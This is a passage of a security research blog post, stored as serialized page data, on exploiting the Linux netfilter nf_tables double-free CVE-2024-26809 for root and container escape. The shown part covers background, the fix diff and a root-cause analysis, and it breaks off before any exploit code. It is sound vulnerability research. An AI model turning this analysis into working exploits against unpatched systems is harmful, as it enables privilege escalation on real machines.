[{"data":1,"prerenderedAt":172330},["ShallowReactive",2],{"blog-/blog/2024-11-25-netfilter-universal-root-1-day":3,"featured-blog-posts":10605},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":15,"isFeatured":16,"tags":17,"onBlogPage":16,"body":20,"_type":10599,"_id":10600,"_source":10601,"_file":10602,"_stem":10603,"_extension":10604},"/blog/2024-11-25-netfilter-universal-root-1-day","blog",false,"","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":12,"height":13,"width":14},"/posts/netfilter-universal-root-1-day/cover.png",1019,1400,"2024-11-25",true,[18,19],"kernal","linux",{"type":21,"children":22,"toc":10567},"root",[23,42,56,61,68,79,84,91,96,116,130,140,176,181,187,206,240,246,260,506,574,1172,1191,1418,1478,1484,1504,1544,1736,1741,1896,1952,1957,2475,2494,2765,2791,3307,3376,3382,3418,3423,3690,3723,3735,3762,3774,3779,3785,3806,3812,3833,3857,4722,4728,4768,5313,5324,5358,5425,5479,5715,5721,5765,6231,6237,6248,6278,6362,6367,6372,6408,6460,6491,7046,7052,7069,7075,7080,7086,7114,7308,7328,7344,7945,7951,7987,8010,8022,8028,8056,8663,8689,9663,9674,9687,9700,10474,10488,10494,10506,10512,10540,10545,10551,10556,10561],{"type":24,"tag":25,"props":26,"children":27},"element","p",{},[28,31,40],{"type":29,"value":30},"text","In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":24,"tag":32,"props":33,"children":37},"a",{"href":34,"rel":35},"https://google.github.io/security-research/kernelctf/rules.html",[36],"nofollow",[38],{"type":29,"value":39},"KernelCTF VRP",{"type":29,"value":41},".",{"type":24,"tag":25,"props":43,"children":44},{},[45,47,54],{"type":29,"value":46},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":24,"tag":32,"props":48,"children":51},{"href":49,"rel":50},"https://github.com/conlonialC",[36],[52],{"type":29,"value":53},"lonial con",{"type":29,"value":55},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":24,"tag":25,"props":57,"children":58},{},[59],{"type":29,"value":60},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":24,"tag":62,"props":63,"children":65},"h2",{"id":64},"the-kernel",[66],{"type":29,"value":67},"The kernel",{"type":24,"tag":25,"props":69,"children":70},{},[71,73],{"type":29,"value":72},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":24,"tag":74,"props":75,"children":78},"img",{"alt":76,"src":77},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":24,"tag":25,"props":80,"children":81},{},[82],{"type":29,"value":83},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":24,"tag":85,"props":86,"children":88},"h3",{"id":87},"kernel-exploitation",[89],{"type":29,"value":90},"Kernel exploitation",{"type":24,"tag":25,"props":92,"children":93},{},[94],{"type":29,"value":95},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":24,"tag":97,"props":98,"children":99},"ul",{},[100,106,111],{"type":24,"tag":101,"props":102,"children":103},"li",{},[104],{"type":29,"value":105},"Trigger some memory corruption in some kernel subsystem",{"type":24,"tag":101,"props":107,"children":108},{},[109],{"type":29,"value":110},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":24,"tag":101,"props":112,"children":113},{},[114],{"type":29,"value":115},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":24,"tag":25,"props":117,"children":118},{},[119,121,128],{"type":29,"value":120},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":24,"tag":32,"props":122,"children":125},{"href":123,"rel":124},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[36],[126],{"type":29,"value":127},"blog post",{"type":29,"value":129}," to become more familiar with the topic.",{"type":24,"tag":62,"props":131,"children":133},{"id":132},"nf_tables",[134],{"type":24,"tag":135,"props":136,"children":138},"code",{"className":137},[],[139],{"type":29,"value":132},{"type":24,"tag":25,"props":141,"children":142},{},[143,148,150,157,159,166,168,174],{"type":24,"tag":135,"props":144,"children":146},{"className":145},[],[147],{"type":29,"value":132},{"type":29,"value":149}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":24,"tag":32,"props":151,"children":154},{"href":152,"rel":153},"https://pwning.tech/nftables",[36],[155],{"type":29,"value":156},"1",{"type":29,"value":158},", ",{"type":24,"tag":32,"props":160,"children":163},{"href":161,"rel":162},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[36],[164],{"type":29,"value":165},"2",{"type":29,"value":167},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":24,"tag":135,"props":169,"children":171},{"className":170},[],[172],{"type":29,"value":173},"nf_table",{"type":29,"value":175}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":24,"tag":25,"props":177,"children":178},{},[179],{"type":29,"value":180},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":24,"tag":85,"props":182,"children":184},{"id":183},"transactions",[185],{"type":29,"value":186},"Transactions",{"type":24,"tag":25,"props":188,"children":189},{},[190,192,197,199,204],{"type":29,"value":191},"A transaction is an interaction that updates ",{"type":24,"tag":135,"props":193,"children":195},{"className":194},[],[196],{"type":29,"value":132},{"type":29,"value":198}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":24,"tag":135,"props":200,"children":202},{"className":201},[],[203],{"type":29,"value":132},{"type":29,"value":205}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":24,"tag":97,"props":207,"children":208},{},[209,220,230],{"type":24,"tag":101,"props":210,"children":211},{},[212,218],{"type":24,"tag":213,"props":214,"children":215},"strong",{},[216],{"type":29,"value":217},"Control plane",{"type":29,"value":219},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":24,"tag":101,"props":221,"children":222},{},[223,228],{"type":24,"tag":213,"props":224,"children":225},{},[226],{"type":29,"value":227},"Commit path",{"type":29,"value":229},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":24,"tag":101,"props":231,"children":232},{},[233,238],{"type":24,"tag":213,"props":234,"children":235},{},[236],{"type":29,"value":237},"Abort path",{"type":29,"value":239},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":24,"tag":62,"props":241,"children":243},{"id":242},"vulnerability-details",[244],{"type":29,"value":245},"Vulnerability details",{"type":24,"tag":25,"props":247,"children":248},{},[249,251,258],{"type":29,"value":250},"Moving on, let's check out the ",{"type":24,"tag":32,"props":252,"children":255},{"href":253,"rel":254},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[36],[256],{"type":29,"value":257},"patch",{"type":29,"value":259}," that fixed the bug.",{"type":24,"tag":261,"props":262,"children":266},"pre",{"className":263,"code":264,"language":265,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n","diff",[267],{"type":24,"tag":135,"props":268,"children":269},{"__ignoreMap":7},[270,282,292,301,310,319,328,337,345,354,363,372,382,391,400,409,418,427,436,445,453,462,471,481,489,497],{"type":24,"tag":271,"props":272,"children":275},"span",{"class":273,"line":274},"line",1,[276],{"type":24,"tag":271,"props":277,"children":279},{"style":278},"--shiki-default:#569CD6",[280],{"type":29,"value":281},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":271,"props":283,"children":285},{"class":273,"line":284},2,[286],{"type":24,"tag":271,"props":287,"children":289},{"style":288},"--shiki-default:#E6E6E6",[290],{"type":29,"value":291},"index c0ceea068936a6..df8de509024637 100644\n",{"type":24,"tag":271,"props":293,"children":295},{"class":273,"line":294},3,[296],{"type":24,"tag":271,"props":297,"children":298},{"style":278},[299],{"type":29,"value":300},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":271,"props":302,"children":304},{"class":273,"line":303},4,[305],{"type":24,"tag":271,"props":306,"children":307},{"style":278},[308],{"type":29,"value":309},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":271,"props":311,"children":313},{"class":273,"line":312},5,[314],{"type":24,"tag":271,"props":315,"children":316},{"style":288},[317],{"type":29,"value":318},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":271,"props":320,"children":322},{"class":273,"line":321},6,[323],{"type":24,"tag":271,"props":324,"children":325},{"emptyLinePlaceholder":16},[326],{"type":29,"value":327},"\n",{"type":24,"tag":271,"props":329,"children":331},{"class":273,"line":330},7,[332],{"type":24,"tag":271,"props":333,"children":334},{"style":288},[335],{"type":29,"value":336}," m = rcu_dereference_protected(priv->match, true);\n",{"type":24,"tag":271,"props":338,"children":340},{"class":273,"line":339},8,[341],{"type":24,"tag":271,"props":342,"children":343},{"emptyLinePlaceholder":16},[344],{"type":29,"value":327},{"type":24,"tag":271,"props":346,"children":348},{"class":273,"line":347},9,[349],{"type":24,"tag":271,"props":350,"children":351},{"style":288},[352],{"type":29,"value":353}," if (m) {\n",{"type":24,"tag":271,"props":355,"children":357},{"class":273,"line":356},10,[358],{"type":24,"tag":271,"props":359,"children":360},{"style":288},[361],{"type":29,"value":362}," rcu_barrier();\n",{"type":24,"tag":271,"props":364,"children":366},{"class":273,"line":365},11,[367],{"type":24,"tag":271,"props":368,"children":369},{"style":288},[370],{"type":29,"value":371}," \n",{"type":24,"tag":271,"props":373,"children":375},{"class":273,"line":374},12,[376],{"type":24,"tag":271,"props":377,"children":379},{"style":378},"--shiki-default:#CE9178",[380],{"type":29,"value":381},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":271,"props":383,"children":385},{"class":273,"line":384},13,[386],{"type":24,"tag":271,"props":387,"children":388},{"style":378},[389],{"type":29,"value":390},"-\n",{"type":24,"tag":271,"props":392,"children":394},{"class":273,"line":393},14,[395],{"type":24,"tag":271,"props":396,"children":397},{"style":288},[398],{"type":29,"value":399}," for_each_possible_cpu(cpu)\n",{"type":24,"tag":271,"props":401,"children":403},{"class":273,"line":402},15,[404],{"type":24,"tag":271,"props":405,"children":406},{"style":288},[407],{"type":29,"value":408}," pipapo_free_scratch(m, cpu);\n",{"type":24,"tag":271,"props":410,"children":412},{"class":273,"line":411},16,[413],{"type":24,"tag":271,"props":414,"children":415},{"style":288},[416],{"type":29,"value":417}," free_percpu(m->scratch);\n",{"type":24,"tag":271,"props":419,"children":421},{"class":273,"line":420},17,[422],{"type":24,"tag":271,"props":423,"children":424},{"style":288},[425],{"type":29,"value":426},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":271,"props":428,"children":430},{"class":273,"line":429},18,[431],{"type":24,"tag":271,"props":432,"children":433},{"style":288},[434],{"type":29,"value":435}," if (priv->clone) {\n",{"type":24,"tag":271,"props":437,"children":439},{"class":273,"line":438},19,[440],{"type":24,"tag":271,"props":441,"children":442},{"style":288},[443],{"type":29,"value":444}," m = priv->clone;\n",{"type":24,"tag":271,"props":446,"children":448},{"class":273,"line":447},20,[449],{"type":24,"tag":271,"props":450,"children":451},{"style":288},[452],{"type":29,"value":371},{"type":24,"tag":271,"props":454,"children":456},{"class":273,"line":455},21,[457],{"type":24,"tag":271,"props":458,"children":459},{"style":378},[460],{"type":29,"value":461},"- if (priv->dirty)\n",{"type":24,"tag":271,"props":463,"children":465},{"class":273,"line":464},22,[466],{"type":24,"tag":271,"props":467,"children":468},{"style":378},[469],{"type":29,"value":470},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":271,"props":472,"children":474},{"class":273,"line":473},23,[475],{"type":24,"tag":271,"props":476,"children":478},{"style":477},"--shiki-default:#B5CEA8",[479],{"type":29,"value":480},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":271,"props":482,"children":484},{"class":273,"line":483},24,[485],{"type":24,"tag":271,"props":486,"children":487},{"style":288},[488],{"type":29,"value":371},{"type":24,"tag":271,"props":490,"children":492},{"class":273,"line":491},25,[493],{"type":24,"tag":271,"props":494,"children":495},{"style":288},[496],{"type":29,"value":399},{"type":24,"tag":271,"props":498,"children":500},{"class":273,"line":499},26,[501],{"type":24,"tag":271,"props":502,"children":503},{"style":288},[504],{"type":29,"value":505}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":24,"tag":25,"props":507,"children":508},{},[509,511,517,519,525,527,533,535,541,543,548,550,556,558,564,566,572],{"type":29,"value":510},"If the ",{"type":24,"tag":135,"props":512,"children":514},{"className":513},[],[515],{"type":29,"value":516},"priv->dirty",{"type":29,"value":518}," and ",{"type":24,"tag":135,"props":520,"children":522},{"className":521},[],[523],{"type":29,"value":524},"priv->clone",{"type":29,"value":526}," variables are set, ",{"type":24,"tag":135,"props":528,"children":530},{"className":529},[],[531],{"type":29,"value":532},"nft_set_pipapo_match_destroy()",{"type":29,"value":534}," is called twice, once with ",{"type":24,"tag":135,"props":536,"children":538},{"className":537},[],[539],{"type":29,"value":540},"priv->match",{"type":29,"value":542}," as an argument, and then again with ",{"type":24,"tag":135,"props":544,"children":546},{"className":545},[],[547],{"type":29,"value":524},{"type":29,"value":549},". Looking at what this function does, we can see that it is iterating over the ",{"type":24,"tag":135,"props":551,"children":553},{"className":552},[],[554],{"type":29,"value":555},"setelem",{"type":29,"value":557},"s of the ",{"type":24,"tag":135,"props":559,"children":561},{"className":560},[],[562],{"type":29,"value":563},"set",{"type":29,"value":565}," and calling ",{"type":24,"tag":135,"props":567,"children":569},{"className":568},[],[570],{"type":29,"value":571},"nf_tables_set_elem_destroy()",{"type":29,"value":573}," for each of them.",{"type":24,"tag":261,"props":575,"children":579},{"className":576,"code":577,"language":578,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n","c",[580],{"type":24,"tag":135,"props":581,"children":582},{"__ignoreMap":7},[583,639,668,695,703,724,737,744,848,856,863,920,942,949,1057,1070,1077,1113,1120,1156,1164],{"type":24,"tag":271,"props":584,"children":585},{"class":273,"line":274},[586,591,596,602,607,612,617,622,628,634],{"type":24,"tag":271,"props":587,"children":588},{"style":278},[589],{"type":29,"value":590},"static",{"type":24,"tag":271,"props":592,"children":593},{"style":278},[594],{"type":29,"value":595}," void",{"type":24,"tag":271,"props":597,"children":599},{"style":598},"--shiki-default:#DCDCAA",[600],{"type":29,"value":601}," nft_set_pipapo_match_destroy",{"type":24,"tag":271,"props":603,"children":604},{"style":288},[605],{"type":29,"value":606},"(",{"type":24,"tag":271,"props":608,"children":609},{"style":278},[610],{"type":29,"value":611},"const",{"type":24,"tag":271,"props":613,"children":614},{"style":278},[615],{"type":29,"value":616}," struct",{"type":24,"tag":271,"props":618,"children":619},{"style":288},[620],{"type":29,"value":621}," nft_ctx ",{"type":24,"tag":271,"props":623,"children":625},{"style":624},"--shiki-default:#D4D4D4",[626],{"type":29,"value":627},"*",{"type":24,"tag":271,"props":629,"children":631},{"style":630},"--shiki-default:#9CDCFE",[632],{"type":29,"value":633},"ctx",{"type":24,"tag":271,"props":635,"children":636},{"style":288},[637],{"type":29,"value":638},",\n",{"type":24,"tag":271,"props":640,"children":641},{"class":273,"line":284},[642,647,651,656,660,664],{"type":24,"tag":271,"props":643,"children":644},{"style":278},[645],{"type":29,"value":646}," const",{"type":24,"tag":271,"props":648,"children":649},{"style":278},[650],{"type":29,"value":616},{"type":24,"tag":271,"props":652,"children":653},{"style":288},[654],{"type":29,"value":655}," nft_set ",{"type":24,"tag":271,"props":657,"children":658},{"style":624},[659],{"type":29,"value":627},{"type":24,"tag":271,"props":661,"children":662},{"style":630},[663],{"type":29,"value":563},{"type":24,"tag":271,"props":665,"children":666},{"style":288},[667],{"type":29,"value":638},{"type":24,"tag":271,"props":669,"children":670},{"class":273,"line":294},[671,676,681,685,690],{"type":24,"tag":271,"props":672,"children":673},{"style":278},[674],{"type":29,"value":675}," struct",{"type":24,"tag":271,"props":677,"children":678},{"style":288},[679],{"type":29,"value":680}," nft_pipapo_match ",{"type":24,"tag":271,"props":682,"children":683},{"style":624},[684],{"type":29,"value":627},{"type":24,"tag":271,"props":686,"children":687},{"style":630},[688],{"type":29,"value":689},"m",{"type":24,"tag":271,"props":691,"children":692},{"style":288},[693],{"type":29,"value":694},")\n",{"type":24,"tag":271,"props":696,"children":697},{"class":273,"line":303},[698],{"type":24,"tag":271,"props":699,"children":700},{"style":288},[701],{"type":29,"value":702},"{\n",{"type":24,"tag":271,"props":704,"children":705},{"class":273,"line":312},[706,710,715,719],{"type":24,"tag":271,"props":707,"children":708},{"style":278},[709],{"type":29,"value":616},{"type":24,"tag":271,"props":711,"children":712},{"style":288},[713],{"type":29,"value":714}," nft_pipapo_field ",{"type":24,"tag":271,"props":716,"children":717},{"style":624},[718],{"type":29,"value":627},{"type":24,"tag":271,"props":720,"children":721},{"style":288},[722],{"type":29,"value":723},"f;\n",{"type":24,"tag":271,"props":725,"children":726},{"class":273,"line":321},[727,732],{"type":24,"tag":271,"props":728,"children":729},{"style":278},[730],{"type":29,"value":731}," int",{"type":24,"tag":271,"props":733,"children":734},{"style":288},[735],{"type":29,"value":736}," i, r;\n",{"type":24,"tag":271,"props":738,"children":739},{"class":273,"line":330},[740],{"type":24,"tag":271,"props":741,"children":742},{"emptyLinePlaceholder":16},[743],{"type":29,"value":327},{"type":24,"tag":271,"props":745,"children":746},{"class":273,"line":339},[747,753,758,763,768,773,777,782,787,792,797,802,806,810,815,820,825,830,835,840,844],{"type":24,"tag":271,"props":748,"children":750},{"style":749},"--shiki-default:#C586C0",[751],{"type":29,"value":752}," for",{"type":24,"tag":271,"props":754,"children":755},{"style":288},[756],{"type":29,"value":757}," (i ",{"type":24,"tag":271,"props":759,"children":760},{"style":624},[761],{"type":29,"value":762},"=",{"type":24,"tag":271,"props":764,"children":765},{"style":477},[766],{"type":29,"value":767}," 0",{"type":24,"tag":271,"props":769,"children":770},{"style":288},[771],{"type":29,"value":772},", f ",{"type":24,"tag":271,"props":774,"children":775},{"style":624},[776],{"type":29,"value":762},{"type":24,"tag":271,"props":778,"children":779},{"style":630},[780],{"type":29,"value":781}," m",{"type":24,"tag":271,"props":783,"children":784},{"style":288},[785],{"type":29,"value":786},"->",{"type":24,"tag":271,"props":788,"children":789},{"style":630},[790],{"type":29,"value":791},"f",{"type":24,"tag":271,"props":793,"children":794},{"style":288},[795],{"type":29,"value":796},"; i ",{"type":24,"tag":271,"props":798,"children":799},{"style":624},[800],{"type":29,"value":801},"\u003C",{"type":24,"tag":271,"props":803,"children":804},{"style":630},[805],{"type":29,"value":781},{"type":24,"tag":271,"props":807,"children":808},{"style":288},[809],{"type":29,"value":786},{"type":24,"tag":271,"props":811,"children":812},{"style":630},[813],{"type":29,"value":814},"field_count",{"type":24,"tag":271,"props":816,"children":817},{"style":624},[818],{"type":29,"value":819}," -",{"type":24,"tag":271,"props":821,"children":822},{"style":477},[823],{"type":29,"value":824}," 1",{"type":24,"tag":271,"props":826,"children":827},{"style":288},[828],{"type":29,"value":829},"; i",{"type":24,"tag":271,"props":831,"children":832},{"style":624},[833],{"type":29,"value":834},"++",{"type":24,"tag":271,"props":836,"children":837},{"style":288},[838],{"type":29,"value":839},", f",{"type":24,"tag":271,"props":841,"children":842},{"style":624},[843],{"type":29,"value":834},{"type":24,"tag":271,"props":845,"children":846},{"style":288},[847],{"type":29,"value":694},{"type":24,"tag":271,"props":849,"children":850},{"class":273,"line":347},[851],{"type":24,"tag":271,"props":852,"children":853},{"style":288},[854],{"type":29,"value":855}," ;\n",{"type":24,"tag":271,"props":857,"children":858},{"class":273,"line":356},[859],{"type":24,"tag":271,"props":860,"children":861},{"emptyLinePlaceholder":16},[862],{"type":29,"value":327},{"type":24,"tag":271,"props":864,"children":865},{"class":273,"line":365},[866,870,875,879,883,888,892,897,901,906,911,915],{"type":24,"tag":271,"props":867,"children":868},{"style":749},[869],{"type":29,"value":752},{"type":24,"tag":271,"props":871,"children":872},{"style":288},[873],{"type":29,"value":874}," (r ",{"type":24,"tag":271,"props":876,"children":877},{"style":624},[878],{"type":29,"value":762},{"type":24,"tag":271,"props":880,"children":881},{"style":477},[882],{"type":29,"value":767},{"type":24,"tag":271,"props":884,"children":885},{"style":288},[886],{"type":29,"value":887},"; r ",{"type":24,"tag":271,"props":889,"children":890},{"style":624},[891],{"type":29,"value":801},{"type":24,"tag":271,"props":893,"children":894},{"style":630},[895],{"type":29,"value":896}," f",{"type":24,"tag":271,"props":898,"children":899},{"style":288},[900],{"type":29,"value":786},{"type":24,"tag":271,"props":902,"children":903},{"style":630},[904],{"type":29,"value":905},"rules",{"type":24,"tag":271,"props":907,"children":908},{"style":288},[909],{"type":29,"value":910},"; r",{"type":24,"tag":271,"props":912,"children":913},{"style":624},[914],{"type":29,"value":834},{"type":24,"tag":271,"props":916,"children":917},{"style":288},[918],{"type":29,"value":919},") {\n",{"type":24,"tag":271,"props":921,"children":922},{"class":273,"line":374},[923,928,933,937],{"type":24,"tag":271,"props":924,"children":925},{"style":278},[926],{"type":29,"value":927}," struct",{"type":24,"tag":271,"props":929,"children":930},{"style":288},[931],{"type":29,"value":932}," nft_pipapo_elem ",{"type":24,"tag":271,"props":934,"children":935},{"style":624},[936],{"type":29,"value":627},{"type":24,"tag":271,"props":938,"children":939},{"style":288},[940],{"type":29,"value":941},"e;\n",{"type":24,"tag":271,"props":943,"children":944},{"class":273,"line":384},[945],{"type":24,"tag":271,"props":946,"children":947},{"emptyLinePlaceholder":16},[948],{"type":29,"value":327},{"type":24,"tag":271,"props":950,"children":951},{"class":273,"line":393},[952,957,961,965,969,973,977,981,985,990,994,998,1003,1008,1013,1017,1022,1027,1032,1036,1040,1044,1049,1053],{"type":24,"tag":271,"props":953,"children":954},{"style":749},[955],{"type":29,"value":956}," if",{"type":24,"tag":271,"props":958,"children":959},{"style":288},[960],{"type":29,"value":874},{"type":24,"tag":271,"props":962,"children":963},{"style":624},[964],{"type":29,"value":801},{"type":24,"tag":271,"props":966,"children":967},{"style":630},[968],{"type":29,"value":896},{"type":24,"tag":271,"props":970,"children":971},{"style":288},[972],{"type":29,"value":786},{"type":24,"tag":271,"props":974,"children":975},{"style":630},[976],{"type":29,"value":905},{"type":24,"tag":271,"props":978,"children":979},{"style":624},[980],{"type":29,"value":819},{"type":24,"tag":271,"props":982,"children":983},{"style":477},[984],{"type":29,"value":824},{"type":24,"tag":271,"props":986,"children":987},{"style":624},[988],{"type":29,"value":989}," &&",{"type":24,"tag":271,"props":991,"children":992},{"style":630},[993],{"type":29,"value":896},{"type":24,"tag":271,"props":995,"children":996},{"style":288},[997],{"type":29,"value":786},{"type":24,"tag":271,"props":999,"children":1000},{"style":630},[1001],{"type":29,"value":1002},"mt",{"type":24,"tag":271,"props":1004,"children":1005},{"style":288},[1006],{"type":29,"value":1007},"[r ",{"type":24,"tag":271,"props":1009,"children":1010},{"style":624},[1011],{"type":29,"value":1012},"+",{"type":24,"tag":271,"props":1014,"children":1015},{"style":477},[1016],{"type":29,"value":824},{"type":24,"tag":271,"props":1018,"children":1019},{"style":288},[1020],{"type":29,"value":1021},"].",{"type":24,"tag":271,"props":1023,"children":1024},{"style":630},[1025],{"type":29,"value":1026},"e",{"type":24,"tag":271,"props":1028,"children":1029},{"style":624},[1030],{"type":29,"value":1031}," ==",{"type":24,"tag":271,"props":1033,"children":1034},{"style":630},[1035],{"type":29,"value":896},{"type":24,"tag":271,"props":1037,"children":1038},{"style":288},[1039],{"type":29,"value":786},{"type":24,"tag":271,"props":1041,"children":1042},{"style":630},[1043],{"type":29,"value":1002},{"type":24,"tag":271,"props":1045,"children":1046},{"style":288},[1047],{"type":29,"value":1048},"[r].",{"type":24,"tag":271,"props":1050,"children":1051},{"style":630},[1052],{"type":29,"value":1026},{"type":24,"tag":271,"props":1054,"children":1055},{"style":288},[1056],{"type":29,"value":694},{"type":24,"tag":271,"props":1058,"children":1059},{"class":273,"line":402},[1060,1065],{"type":24,"tag":271,"props":1061,"children":1062},{"style":749},[1063],{"type":29,"value":1064}," continue",{"type":24,"tag":271,"props":1066,"children":1067},{"style":288},[1068],{"type":29,"value":1069},";\n",{"type":24,"tag":271,"props":1071,"children":1072},{"class":273,"line":411},[1073],{"type":24,"tag":271,"props":1074,"children":1075},{"emptyLinePlaceholder":16},[1076],{"type":29,"value":327},{"type":24,"tag":271,"props":1078,"children":1079},{"class":273,"line":420},[1080,1085,1089,1093,1097,1101,1105,1109],{"type":24,"tag":271,"props":1081,"children":1082},{"style":288},[1083],{"type":29,"value":1084}," e ",{"type":24,"tag":271,"props":1086,"children":1087},{"style":624},[1088],{"type":29,"value":762},{"type":24,"tag":271,"props":1090,"children":1091},{"style":630},[1092],{"type":29,"value":896},{"type":24,"tag":271,"props":1094,"children":1095},{"style":288},[1096],{"type":29,"value":786},{"type":24,"tag":271,"props":1098,"children":1099},{"style":630},[1100],{"type":29,"value":1002},{"type":24,"tag":271,"props":1102,"children":1103},{"style":288},[1104],{"type":29,"value":1048},{"type":24,"tag":271,"props":1106,"children":1107},{"style":630},[1108],{"type":29,"value":1026},{"type":24,"tag":271,"props":1110,"children":1111},{"style":288},[1112],{"type":29,"value":1069},{"type":24,"tag":271,"props":1114,"children":1115},{"class":273,"line":429},[1116],{"type":24,"tag":271,"props":1117,"children":1118},{"emptyLinePlaceholder":16},[1119],{"type":29,"value":327},{"type":24,"tag":271,"props":1121,"children":1122},{"class":273,"line":438},[1123,1128,1133,1138,1142,1146,1151],{"type":24,"tag":271,"props":1124,"children":1125},{"style":598},[1126],{"type":29,"value":1127}," nf_tables_set_elem_destroy",{"type":24,"tag":271,"props":1129,"children":1130},{"style":288},[1131],{"type":29,"value":1132},"(ctx, set, ",{"type":24,"tag":271,"props":1134,"children":1135},{"style":624},[1136],{"type":29,"value":1137},"&",{"type":24,"tag":271,"props":1139,"children":1140},{"style":630},[1141],{"type":29,"value":1026},{"type":24,"tag":271,"props":1143,"children":1144},{"style":288},[1145],{"type":29,"value":786},{"type":24,"tag":271,"props":1147,"children":1148},{"style":630},[1149],{"type":29,"value":1150},"priv",{"type":24,"tag":271,"props":1152,"children":1153},{"style":288},[1154],{"type":29,"value":1155},");\n",{"type":24,"tag":271,"props":1157,"children":1158},{"class":273,"line":447},[1159],{"type":24,"tag":271,"props":1160,"children":1161},{"style":288},[1162],{"type":29,"value":1163}," }\n",{"type":24,"tag":271,"props":1165,"children":1166},{"class":273,"line":455},[1167],{"type":24,"tag":271,"props":1168,"children":1169},{"style":288},[1170],{"type":29,"value":1171},"}\n",{"type":24,"tag":25,"props":1173,"children":1174},{},[1175,1177,1183,1185,1190],{"type":29,"value":1176},"Which will then ",{"type":24,"tag":135,"props":1178,"children":1180},{"className":1179},[],[1181],{"type":29,"value":1182},"kfree()",{"type":29,"value":1184}," the 